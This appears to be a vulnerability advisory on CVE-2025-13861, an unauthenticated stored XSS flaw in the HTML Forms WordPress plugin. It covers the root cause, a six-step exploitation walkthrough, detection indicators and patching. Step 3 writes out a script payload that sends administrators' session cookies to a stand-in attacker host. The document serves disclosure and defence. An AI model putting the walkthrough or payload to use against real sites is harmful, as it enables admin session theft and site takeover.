CVE-2025-13861: 
WordPress vulnerability analysis and mitigation

CVE-2025-13861 is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the HTML Forms – Simple WordPress Forms Plugin for WordPress. It affects all versions up to and including 1.6.0 and stems from insufficient sanitization of fabricated file upload field metadata before it is rendered in the WordPress admin dashboard. An unauthenticated attacker can inject arbitrary JavaScript that executes whenever an administrator visits the form submissions page. The vulnerability was published on December 17, 2025, and carries a CVSS v3.1 base score of 6.1 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The plugin fails to properly sanitize file upload field metadata submitted by unauthenticated users before storing and later displaying it in the admin dashboard's form submissions view. An attacker crafts a malicious form submission containing a fabricated file upload field whose metadata includes a JavaScript payload; because no privilege is required to submit a form, the attack requires zero authentication. The vulnerable code paths are located in src/functions.php around lines 321 and 357 of the plugin's trunk (Wordfence, WordPress Trac).

Successful exploitation allows an unauthenticated attacker to persistently inject malicious scripts into the WordPress admin dashboard. When an administrator views the form submissions page, the stored payload executes in their browser session, potentially enabling session cookie theft, privilege escalation to full site administrator access, creation of rogue admin accounts, installation of backdoors, or complete site takeover. The confidentiality and integrity of the WordPress site are both at risk, though availability is not directly impacted (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported as of the time of writing. The EPSS score is approximately 0.087%, indicating a low (but non-zero) probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The attack is relatively straightforward — it requires no authentication and only needs an administrator to visit the submissions page — which lowers the practical barrier for exploitation (Wordfence, ENISA EUVD).

1. Reconnaissance: Identify WordPress sites running the HTML Forms plugin version ≤ 1.6.0 using tools like WPScan, Shodan, or by checking the plugin's readme.txt file at wp-content/plugins/html-forms/readme.txt.
2. Locate a target form: Browse the target site to find a publicly accessible HTML Forms-powered form that includes a file upload field.
3. Craft malicious submission: Prepare an HTTP POST request to the form's submission endpoint, manipulating the file upload field metadata (e.g., filename or MIME type) to include a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Submit the payload: Send the crafted request without any authentication. The malicious metadata is stored in the WordPress database as part of the form submission record.
5. Wait for administrator interaction: When a site administrator navigates to the form submissions page in the WordPress dashboard, the stored payload executes in their browser context.
6. Achieve objective: The executed script can exfiltrate the admin's session cookie, create a new administrator account via the WordPress REST API, or perform other privileged actions on behalf of the victim (Wordfence, WordPress Trac).

• Network: Outbound requests from the administrator's browser to unexpected external domains immediately after visiting the WordPress admin submissions page; unusual POST requests to the site's form submission endpoint containing script tags or encoded JavaScript in file upload metadata fields.
• Logs: WordPress access logs showing POST requests to form submission endpoints with anomalous Content-Disposition or filename values containing HTML/JavaScript characters (<, >, script).
• File System: Unexpected new WordPress administrator accounts created without a corresponding legitimate user action; new or modified plugin/theme files that could indicate a backdoor was installed post-exploitation.
• Database: Entries in the wp_hf_submission_meta (or equivalent HTML Forms submission) table containing raw <script> tags or JavaScript URIs in file metadata columns.

Update the HTML Forms – Simple WordPress Forms Plugin to version 1.6.1 or later, which includes the fix for insufficient sanitization of file upload field metadata. The patch can be reviewed in the WordPress plugin changeset. As an interim workaround for sites that cannot immediately update, consider disabling file upload fields in all active forms or temporarily deactivating the plugin. Additionally, a Web Application Firewall (WAF) rule targeting stored XSS patterns in form submissions can provide partial mitigation (Wordfence).

The vulnerability was discovered and disclosed by Wordfence, which assigned it and published the advisory on December 17, 2025. Coverage has been picked up by standard vulnerability aggregators including VulDB, Vulners, CVEFeed, and CIRCL, as well as a brief mention on Bluesky's CVE feed. No notable independent researcher commentary or significant media coverage beyond routine vulnerability tracking has been observed (Wordfence).